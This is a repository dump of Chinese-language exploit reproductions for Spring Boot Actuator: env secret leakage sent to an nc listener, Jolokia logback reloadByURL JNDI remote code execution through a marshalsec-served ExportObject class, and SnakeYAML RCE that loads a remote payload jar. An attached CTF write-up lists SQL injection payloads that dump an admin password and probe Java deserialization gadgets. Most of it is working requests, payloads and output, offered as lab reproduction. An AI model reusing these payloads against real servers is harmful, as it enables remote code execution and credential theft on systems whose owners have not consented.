├── RCE_GET.png ├── README.md ├── a_success.png ├── jar.png ├── location.png ├── logback.png ├── password.png ├── pwd.png ├── reloadByURL.png ├── send_env.png ├── spring.png ├── thinkjava.md ├── yaml_refresh.png ├── yaml_success.png └── yml.png /RCE_GET.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/RCE_GET.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## swagger-ui 接口 2 | 3 | ![](./thinkjava.md) 4 | `/swagger-ui.html` 5 | 6 | # SpringBoot env 获取* 敏感信息 (一) 7 | 8 | 当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了* 9 | 10 | 1. 通过${name} 可以获取明文字段 11 | 2. 配置不当导致敏感信息泄露(password 打星号,而 pwd 没有打星号) 12 | ![](./pwd.png) 13 | 14 | 参考 `https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA` 15 | 16 | 具体实现过程: 17 | 18 | 例如: 我们要获取 pid 参数值 19 | 20 | ``` 21 | "PID": "10648", 22 | ``` 23 | 24 | 25 | ``` 26 | POST /env HTTP/1.1 27 | Host: 10.20.24.191:8090 28 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0 29 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 30 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 31 | Accept-Encoding: gzip, deflate 32 | Connection: close 33 | Upgrade-Insecure-Requests: 1 34 | Content-Type: application/x-www-form-urlencoded 35 | Content-Length: 76 36 | 37 | eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/ 38 | 39 | ``` 40 | 然后 post refresh 任意内容,触发漏洞 41 | 42 | Ps: `一般情况需要等待3秒会有响应包,如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用` 43 | 44 | ``` 45 | POST /refresh HTTP/1.1 46 | Host: 10.20.24.191:8090 47 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0 48 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 49 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 50 | Accept-Encoding: gzip, deflate 51 | Connection: close 52 | Upgrade-Insecure-Requests: 1 53 | Content-Type: application/x-www-form-urlencoded 54 | Content-Length: 5 55 | 56 | 12312 57 | ``` 58 | 59 | 当服务器 nc 监听端口2444 时,接收到 60 | 61 | 62 | ``` 63 | root@kali:/tmp# nc -lvvp 2444 64 | listening on [any] 2444 ... 65 | connect to [10.20.24.191] from kali [10.20.24.191] 40960 66 | GET /xstream/apps/ HTTP/1.1 67 | Accept: application/json 68 | DiscoveryIdentity-Name: DefaultClient 69 | DiscoveryIdentity-Version: 1.4 70 | DiscoveryIdentity-Id: 10.20.24.191 71 | Accept-Encoding: gzip 72 | Host: 10.20.24.191:2444 73 | Connection: Keep-Alive 74 | User-Agent: Java-EurekaClient/v1.4.11 75 | Authorization: Basic MzgzNDY6bnVsbA== 76 | ``` 77 | 78 | `Authorization: Basic MzgzNDY6bnVsbA==` 79 | 80 | 81 | base64 解码得到 82 | 83 | ``` 84 | root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d 85 | 38346:null 86 | ``` 87 | 和上面的 pid 信息一样 88 | 89 | 90 | 同样 获取 `user.country`参数,步骤也一样 91 | 92 | 结果: 93 | ``` 94 | root@kali:/tmp# nc -lvvp 2555 95 | listening on [any] 2555 ... 96 | connect to [10.20.24.191] from kali [10.20.24.191] 38994 97 | GET /xstream/apps/ HTTP/1.1 98 | Accept: application/json 99 | DiscoveryIdentity-Name: DefaultClient 100 | DiscoveryIdentity-Version: 1.4 101 | DiscoveryIdentity-Id: 10.20.24.191 102 | Accept-Encoding: gzip 103 | Host: 10.20.24.191:2555 104 | Connection: Keep-Alive 105 | User-Agent: Java-EurekaClient/v1.4.11 106 | Authorization: Basic VVM6bnVsbA== 107 | 108 | sent 0, rcvd 310 109 | ``` 110 | base64 解码得到 111 | ``` 112 | root@kali:/tmp# echo VVM6bnVsbA== |base64 -d 113 | US:null 114 | 115 | ``` 116 | ## 脚本化 117 | 118 | 输入要查询的参数,输入 nc 监听的端口 119 | ![](./send_env.png) 120 | 121 | 监听端口,获取指定 header 头,自动 base64 解密 122 | ![](./password.png) 123 | 124 | Ps: 如果您很幸运在目标类路径中具有Eureka-Client <1.8.7(通常包含在Spring Cloud Netflix中),则可以利用其中的XStream反序列化漏洞。 125 | 126 | 例如: `User-Agent: Java-EurekaClient/v1.4.11` 127 | 128 | 129 | # SpringBoot_Actuator JNDI RCE 漏洞复现 (二) 130 | 131 | 132 | ## 0x01 环境搭建 133 | 134 | `git clone https://github.com/veracode-research/actuator-testbed` 135 | 136 | 启动 137 | 138 | ``` 139 | mvn install 140 | 或 141 | mvn spring-boot:run 142 | ``` 143 | 144 | 通过编译运行,发现监听IP 地址为 `127.0.0.1`,只能本机访问 145 | 百度查找,修改为 `0.0.0.0` 就好了 146 | 147 | 查找关键文件 148 | 149 | `grep -r 'server.address' -n ./` 150 | 151 | ``` 152 | ./src/main/resources/application.properties:2:server.address=127.0.0.1 153 | ./target/classes/application.properties:2:server.address=127.0.0.1 154 | ``` 155 | 改为 156 | 157 | ``` 158 | server.port=8090 159 | server.address=0.0.0.0 160 | 161 | # vulnerable configuration set 0: spring boot 1.0 - 1.4 162 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters 163 | # no configuration required to expose them 164 | 165 | # safe configuration set 0: spring boot 1.0 - 1.4 166 | #management.security.enabled=true 167 | 168 | # vulnerable configuration set 1: spring boot 1.5+ 169 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators 170 | #management.security.enabled=false 171 | 172 | # safe configuration set 1: spring boot 1.5+ 173 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 174 | #management.security.enabled=false 175 | 176 | # vulnerable configuration set 2: spring boot 2+ 177 | #management.endpoints.web.exposure.include=* 178 | ``` 179 | 180 | 181 | 182 | ## 0x02 重启启动 183 | 184 | `mvn spring-boot:run` 185 | 186 | 或 187 | 188 | ``` 189 | /opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run 190 | 191 | ``` 192 | 193 | 稍等片刻 194 | 195 | ``` 196 | root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090 197 | tcp6 0 0 :::8090 :::* LISTEN 33666/java 198 | root@kali:~/actuator/actuator-testbed# 199 | ``` 200 | http://10.20.24.191:8090/ 201 | ![](./spring.png) 202 | 203 | http://10.20.24.191:8090/jolokia/list 204 | ![](./reloadByURL.png) 205 | 206 | 中 reloadByURL 可以加载远程 url xml 文件 207 | 208 | 209 | ``` 210 | "ch.qos.logback.classic": { 211 | "Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": { 212 | "op": { 213 | "reloadByURL": { 214 | "args": [ 215 | { 216 | "name": "p1", 217 | "type": "java.net.URL", 218 | "desc": "" 219 | } 220 | ], 221 | "ret": "void", 222 | "desc": "Operation exposed for management" 223 | } 224 | ``` 225 | 226 | ## 0x03 http 服务存放logback.xml,ExportObject.class 227 | 228 | 229 | logback.xml 文件内容 230 | 231 | ![](./logback.png) 232 | 233 | ``` 234 | 235 | 236 | 237 | ``` 238 | 239 | ExportObject.java 240 | 241 | ``` 242 | import java.io.BufferedReader; 243 | import java.io.InputStream; 244 | import java.io.InputStreamReader; 245 | 246 | public class ExportObject { 247 | public ExportObject() throws Exception { 248 | Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n"); 249 | InputStream var2 = var1.getInputStream(); 250 | BufferedReader var3 = new BufferedReader(new InputStreamReader(var2)); 251 | 252 | String var4; 253 | while((var4 = var3.readLine()) != null) { 254 | System.out.println(var4); 255 | } 256 | 257 | var1.waitFor(); 258 | var2.close(); 259 | var3.close(); 260 | var1.destroy(); 261 | } 262 | 263 | public static void main(String[] var0) throws Exception { 264 | } 265 | } 266 | 267 | ``` 268 | ## 0x04 RCE触发 269 | 270 | 监听 rmi 端口 271 | 272 | ``` 273 | root@kali:~/ldap_rmi# cat rmi.sh 274 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject 275 | 276 | 277 | root@kali:~/ldap_rmi# ./rmi.sh 278 | * Opening JRMP listener on 1099 279 | Have connection from /10.20.24.191:43878 280 | Reading message... 281 | Is RMI.lookup call for ExportObject 2 282 | Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class 283 | Closing connection 284 | 285 | 286 | 287 | ``` 288 | 289 | 浏览器访问加载远程logback.xml文件进行解析, 290 | 291 | 服务器访问恶意jndi 地址,导致恶意字节码代码执行 292 | 293 | `http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml` 294 | 295 | ![](./RCE_GET.png) 296 | 297 | ## 0x05 命令执行成功 298 | 299 | ![](./a_success.png) 300 | 301 | ``` 302 | root@kali:/var/www/html# ls /tmp/j* 303 | /tmp/jas502n 304 | root@kali:/var/www/html# 305 | ``` 306 | # YML RCE 漏洞复现 (三) 307 | 308 | 通过Spring环境`spring.cloud.bootstrap.location` 属性修改来实现RCE的方法更可靠 309 | 310 | 该属性用于加载外部配置并以YAML格式解析它。 311 | 为了实现这一点,任需要POST `/refresh` 任意内容触发漏洞。 312 | 313 | ## yaml_payload.yml 文件内容 314 | 315 | ![](./yml_http.png) 316 | 317 | ``` 318 | !!javax.script.ScriptEngineManager [ 319 | !!java.net.URLClassLoader [[ 320 | !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"] 321 | ]] 322 | ] 323 | ``` 324 | 325 | ## 0x00 yaml_payload.jar 制造 326 | 327 | 代码 `https://github.com/artsploit/yaml-payload` 328 | 329 | ![](./jar.png) 330 | 331 | AwesomeScriptEngineFactory.java 部分代码 332 | ``` 333 | import javax.script.ScriptEngine; 334 | import javax.script.ScriptEngineFactory; 335 | import java.io.IOException; 336 | import java.util.List; 337 | 338 | public class AwesomeScriptEngineFactory implements ScriptEngineFactory { 339 | 340 | public AwesomeScriptEngineFactory() { 341 | try { 342 | Runtime.getRuntime().exec("touch /tmp/success"); 343 | } catch (IOException e) { 344 | e.printStackTrace(); 345 | } 346 | } 347 | ``` 348 | `ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java ` 349 | 350 | 包含实际的字节码,并在构造函数中带有恶意有效载荷。 351 | 352 | `ymal_payload.jar\services\javax.script.ScriptEngineFactory` 353 | 354 | 只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件, 355 | 以便ServiceLoader知道在哪里可以找到该类 356 | 357 | 内容:`artsploit.AwesomeScriptEngineFactory` 358 | 359 | jar 文件存在到http服务器中 360 | 361 | http://10.20.24.191:8090/ymal_payload.jar 362 | 363 | ## 0x01 Set spring.cloud.bootstrap.location 364 | 365 | `spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml` 366 | 367 | ![](./location.png) 368 | ``` 369 | POST /env HTTP/1.1 370 | Host: 10.20.24.191:8090 371 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 372 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 373 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 374 | Accept-Encoding: gzip, deflate 375 | X-Forwarded-For: 127.0.0.1 376 | Connection: close 377 | Upgrade-Insecure-Requests: 1 378 | Content-Type: application/x-www-form-urlencoded 379 | Content-Length: 73 380 | 381 | spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml 382 | ``` 383 | 384 | ## 0x02 refresh post任意内容,RCE 漏洞触发 385 | 386 | ![](./yaml_refresh.png) 387 | 388 | ``` 389 | POST /refresh HTTP/1.1 390 | Host: 10.20.24.191:8090 391 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 392 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 393 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 394 | Accept-Encoding: gzip, deflate 395 | X-Forwarded-For: 127.0.0.1 396 | Connection: close 397 | Upgrade-Insecure-Requests: 1 398 | Content-Type: application/x-www-form-urlencoded 399 | Content-Length: 5 400 | 401 | 12312 402 | ``` 403 | ## 0x03 RCE 执行成功 404 | 405 | ![](./yaml_success.png) 406 | ``` 407 | root@kali:/var/www/html# ls /tmp/succ* 408 | /tmp/success 409 | root@kali:/var/www/html# 410 | 411 | ``` 412 | 413 | 414 | 415 | Ps: 与Eureka的XStream有效负载相比,yaml的方法甚至可以在最新版本中使用。 416 | 417 | ## 参考链接 418 | 419 | https://www.veracode.com/blog/research/exploiting-spring-boot-actuators 420 | 421 | -------------------------------------------------------------------------------- /a_success.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/a_success.png -------------------------------------------------------------------------------- /jar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/jar.png -------------------------------------------------------------------------------- /location.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/location.png -------------------------------------------------------------------------------- /logback.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/logback.png -------------------------------------------------------------------------------- /password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/password.png -------------------------------------------------------------------------------- /pwd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/pwd.png -------------------------------------------------------------------------------- /reloadByURL.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/reloadByURL.png -------------------------------------------------------------------------------- /send_env.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/send_env.png -------------------------------------------------------------------------------- /spring.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/spring.png -------------------------------------------------------------------------------- /thinkjava.md: -------------------------------------------------------------------------------- 1 | ## 网鼎杯-朱雀组-thinkjava (springboot) 2 | 3 | 4 | ### Test.java 5 | 6 | ``` 7 | package cn.abc.core.controller; 8 | 9 | import cn.abc.common.bean.ResponseCode; 10 | import cn.abc.common.bean.ResponseResult; 11 | import cn.abc.common.security.annotation.Access; 12 | import cn.abc.core.sqldict.SqlDict; 13 | import io.swagger.annotations.ApiOperation; 14 | import java.io.IOException; 15 | import java.util.List; 16 | import org.springframework.web.bind.annotation.CrossOrigin; 17 | import org.springframework.web.bind.annotation.PostMapping; 18 | import org.springframework.web.bind.annotation.RequestMapping; 19 | import org.springframework.web.bind.annotation.RestController; 20 | 21 | @CrossOrigin 22 | @RestController 23 | @RequestMapping({"/common/test"}) 24 | public class Test { 25 | @PostMapping({"/sqlDict"}) 26 | @Access 27 | @ApiOperation("为了开发方便对应数据库字典查询") 28 | public ResponseResult sqlDict(String dbName) throws IOException { 29 | List tables = SqlDict.getTableData(dbName, "root", "abc@12345"); 30 | return ResponseResult.e(ResponseCode.OK, tables); 31 | } 32 | } 33 | 34 | ``` 35 | 36 | ### SqlDict.java 37 | 38 | ``` 39 | package cn.abc.core.sqldict; 40 | 41 | import java.sql.Connection; 42 | import java.sql.DatabaseMetaData; 43 | import java.sql.DriverManager; 44 | import java.sql.ResultSet; 45 | import java.sql.SQLException; 46 | import java.sql.Statement; 47 | import java.util.ArrayList; 48 | import java.util.List; 49 | 50 | public class SqlDict { 51 | public static Connection getConnection(String dbName, String user, String pass) { 52 | Connection conn = null; 53 | 54 | try { 55 | Class.forName("com.mysql.jdbc.Driver"); 56 | if (dbName != null && !dbName.equals("")) { 57 | dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName; 58 | } else { 59 | dbName = "jdbc:mysql://mysqldbserver:3306/myapp"; 60 | } 61 | 62 | if (user == null || dbName.equals("")) { 63 | user = "root"; 64 | } 65 | 66 | if (pass == null || dbName.equals("")) { 67 | pass = "abc@12345"; 68 | } 69 | 70 | conn = DriverManager.getConnection(dbName, user, pass); 71 | } catch (ClassNotFoundException var5) { 72 | var5.printStackTrace(); 73 | } catch (SQLException var6) { 74 | var6.printStackTrace(); 75 | } 76 | 77 | return conn; 78 | } 79 | 80 | public static List getTableData(String dbName, String user, String pass) { 81 | List Tables = new ArrayList(); 82 | Connection conn = getConnection(dbName, user, pass); 83 | String TableName = ""; 84 | 85 | try { 86 | Statement stmt = conn.createStatement(); 87 | DatabaseMetaData metaData = conn.getMetaData(); 88 | ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"}); 89 | 90 | while(tableNames.next()) { 91 | TableName = tableNames.getString(3); 92 | Table table = new Table(); 93 | String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';"; 94 | ResultSet rs = stmt.executeQuery(sql); 95 | 96 | while(rs.next()) { 97 | table.setTableDescribe(rs.getString("TABLE_COMMENT")); 98 | } 99 | 100 | table.setTableName(TableName); 101 | ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, ""); 102 | ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName); 103 | 104 | String PK; 105 | for(PK = ""; rs2.next(); PK = rs2.getString(4)) { 106 | } 107 | 108 | while(data.next()) { 109 | Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE")); 110 | table.list.add(row); 111 | } 112 | 113 | Tables.add(table); 114 | } 115 | } catch (SQLException var16) { 116 | var16.printStackTrace(); 117 | } 118 | 119 | return Tables; 120 | } 121 | } 122 | 123 | ``` 124 | 从上面分析得知,网站采用的是mysql数据库, 125 | 126 | mysql 常见默认数据库名字有: 127 | 128 | ``` 129 | information_schema 130 | mysql 131 | performance_schema 132 | sy 133 | ``` 134 | 135 | 136 | 137 | ## 0x00 swagger-ui 138 | 139 | dirb 暴力破解得到一个路径 140 | 141 | `http://d06cd6b2-9dd6-4a93-8ad9-13d91a89ca04.node3.buuoj.cn/swagger-ui.html` 142 | 143 | ## 0x01 myapp数据库 144 | 145 | 查询数据库里面所有数据库 `查询information_schema库中的schemata表的所有内容` 146 | 147 | `select * from information_schema.schema;` 148 | 149 | 构造查询库sql语句 `GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。` 150 | 151 | `mysql#' union select group_concat(schema_name) from information_schema.schemata#` 152 | 153 | `http://04d5d236-6051-4fbf-aaaf-e1beabeb7380.node3.buuoj.cn/common/test/sqlDict?dbName=mysql%23%27%20union%20select%20group_concat(schema_name)%20from%20information_schema.schemata%23` 154 | 155 | 得到: 156 | 157 | ` "tableDescribe":"information_schema,myapp,mysql,performance_schema,sys",` 158 | 159 | ``` 160 | information_schema 161 | myapp 162 | mysql 163 | performance_schema 164 | sys 165 | ``` 166 | 167 | 分析知,只有myapp不是默认数据库 168 | 169 | ## 0x02 查询myapp 数据库中所有表 170 | 171 | `mysql#' union select group_concat(table_name) from information_schema.tables where table_schema="myapp"#` 172 | 173 | `http://04d5d236-6051-4fbf-aaaf-e1beabeb7380.node3.buuoj.cn/common/test/sqlDict?dbName=mysql%23%27%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3D%22myapp%22%23` 174 | 175 | 得到 176 | ``` 177 | "tableDescribe":"user", 178 | "tableName":"user" 179 | ``` 180 | 181 | 分析知,myapp数据库里面只有一个表 182 | 183 | ## 0x03 查询myapp数据库中user表的所有列 184 | 185 | `mysql#' union select group_concat(column_name) from information_schema.columns where table_schema="myapp"#` 186 | 187 | `http://d06cd6b2-9dd6-4a93-8ad9-13d91a89ca04.node3.buuoj.cn/common/test/sqlDict?dbName=mysql%23%27%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3D%22myapp%22%23` 188 | 189 | 190 | 得到: 191 | ``` 192 | "tableDescribe":"id,name,pwd", 193 | "tableName":"user" 194 | ``` 195 | 196 | 197 | ## 0x04 查询myapp数据库user表,列id,name,pwd 198 | 199 | `使用函数concat_ws() 指定参数之间的分隔符,第一个参数是其它参数的分隔符。` 200 | 201 | `myapp#' union select concat_ws(",",id,name,pwd) from user#` 202 | 203 | `http://d06cd6b2-9dd6-4a93-8ad9-13d91a89ca04.node3.buuoj.cn/common/test/sqlDict?dbName=myapp%23%27%20union%20select%20CONCAT_WS(%22%2C%22%2Cid%2Cname%2Cpwd)%20from%20user%23` 204 | 205 | 得到: 206 | ``` 207 | "tableDescribe":"1,admin,admin@Rrrr_ctf_asde", 208 | ``` 209 | 210 | 账号:admin 211 | 212 | 密码:admin@Rrrr_ctf_asde 213 | 214 | 215 | ## 0x05 登陆账号,返回token认证信息 216 | 217 | `账户相关 : User Controller ` 218 | 219 | ``` 220 | post /common/user/current 获取当前用户信息 221 | 222 | post /common/user/login 登录 223 | 224 | ``` 225 | 226 | ### Burpsuite Request 227 | 228 | ``` 229 | POST /common/user/login HTTP/1.1 230 | Host: d06cd6b2-9dd6-4a93-8ad9-13d91a89ca04.node3.buuoj.cn 231 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 232 | Accept: */* 233 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 234 | Accept-Encoding: gzip, deflate 235 | Content-Type: application/json 236 | Referer: http://d06cd6b2-9dd6-4a93-8ad9-13d91a89ca04.node3.buuoj.cn/swagger-ui.html 237 | Content-Length: 65 238 | X-Forwarded-For: 127.0.0.1 239 | Connection: close 240 | 241 | { 242 | "password": "admin@Rrrr_ctf_asde", 243 | "username": "admin" 244 | } 245 | ``` 246 | ### Burpsuite Response 247 | 248 | ``` 249 | HTTP/1.1 200 OK 250 | Server: openresty 251 | Date: Tue, 26 May 2020 03:36:56 GMT 252 | Content-Type: application/json;charset=utf-8 253 | Content-Length: 330 254 | Connection: close 255 | Access-Control-Allow-Headers: token,Origin, X-Requested-With, Content-Type, Accept 256 | Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, DELETE, PATCH 257 | Access-Control-Allow-Origin: * 258 | Access-Control-Max-Age: 3600 259 | 260 | { 261 | "data":"Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu", 262 | "msg":"登陆成功", 263 | "status":2, 264 | "timestamps":1590464216351 265 | } 266 | ``` 267 | 268 | 得到: 269 | `Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu` 270 | 271 | Bearer 后的数据base64 解码,发现是一个java 序列化数据 272 | 273 | `echo rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu |base64 -d >1.ser 274 | ` 275 | 276 | ``` 277 | file 1.ser 278 | 279 | 1.ser: Java serialization data, version 5 280 | 281 | ``` 282 | 283 | ``` 284 | cat 1.ser |xxd 285 | 286 | 00000000: aced 0005 7372 0018 636e 2e61 6263 2e63 ....sr..cn.abc.c 287 | 00000010: 6f72 652e 6d6f 6465 6c2e 5573 6572 566f ore.model.UserVo 288 | 00000020: 7646 4331 7b04 f43a 0200 024c 0002 6964 vFC1{..:...L..id 289 | 00000030: 7400 104c 6a61 7661 2f6c 616e 672f 4c6f t..Ljava/lang/Lo 290 | 00000040: 6e67 3b4c 0004 6e61 6d65 7400 124c 6a61 ng;L..namet..Lja 291 | 00000050: 7661 2f6c 616e 672f 5374 7269 6e67 3b78 va/lang/String;x 292 | 00000060: 7073 7200 0e6a 6176 612e 6c61 6e67 2e4c psr..java.lang.L 293 | 00000070: 6f6e 673b 8be4 90cc 8f23 df02 0001 4a00 ong;.....#....J. 294 | 00000080: 0576 616c 7565 7872 0010 6a61 7661 2e6c .valuexr..java.l 295 | 00000090: 616e 672e 4e75 6d62 6572 86ac 951d 0b94 ang.Number...... 296 | 000000a0: e08b 0200 0078 7000 0000 0000 0000 0174 .....xp........t 297 | 000000b0: 0005 6164 6d69 6e ..admin 298 | ``` 299 | 300 | ## 0x06 获取当前用户信息 301 | 302 | `post /common/user/current` 303 | 304 | ### Burpsuite Request 305 | ``` 306 | POST /common/user/current HTTP/1.1 307 | Host: d06cd6b2-9dd6-4a93-8ad9-13d91a89ca04.node3.buuoj.cn 308 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 309 | Accept: */* 310 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 311 | Accept-Encoding: gzip, deflate 312 | Content-Type: application/json 313 | Authorization: Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu 314 | Referer: http://d06cd6b2-9dd6-4a93-8ad9-13d91a89ca04.node3.buuoj.cn/swagger-ui.html 315 | X-Forwarded-For: 127.0.0.1 316 | Connection: close 317 | Content-Length: 0 318 | 319 | 320 | ``` 321 | 322 | ### Burpsuite Response 323 | ``` 324 | HTTP/1.1 200 OK 325 | Server: openresty 326 | Date: Tue, 26 May 2020 03:43:39 GMT 327 | Content-Type: application/json;charset=utf-8 328 | Content-Length: 108 329 | Connection: close 330 | Access-Control-Allow-Headers: token,Origin, X-Requested-With, Content-Type, Accept 331 | Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, DELETE, PATCH 332 | Access-Control-Allow-Origin: * 333 | Access-Control-Max-Age: 3600 334 | 335 | { 336 | "data":{ 337 | "id":1, 338 | "name":"admin" 339 | }, 340 | "msg":"操作成功", 341 | "status":1, 342 | "timestamps":1590464619681 343 | } 344 | ``` 345 | 346 | 基本可以确定header 头`Authorization`此处存在反序列化漏洞 347 | 348 | ## 0x07 确定使用Gaddet 349 | 350 | 使用BurpSuite插件 `Java Deserialization Scanner` 351 | 352 | 1. 设置存在漏洞的点 rO0ABXNyABhjb* 353 | 2. 点击,进行base64 攻击 354 | 355 | ``` 356 | SCANNING IN PROGRESS 357 | Scanning can go on approximately from 1 second up to 3 minutes, based on the number of vulnerable libraries founded 358 | ``` 359 | 360 | 稍等片刻 361 | 362 | 返回结果: 363 | ![](./ROME.png) 364 | ``` 365 | Results: 366 | Apache Commons Collections 3 (Sleep): NOT vulnerable. 367 | Spring Alternate Payload (Sleep): NOT vulnerable. 368 | Apache Commons Collections 4 (Sleep): NOT vulnerable. 369 | JSON (Sleep): NOT vulnerable. 370 | Apache Commons Collections 3 Alternate payload 2 (Sleep): NOT vulnerable. 371 | ROME (Sleep): Potentially 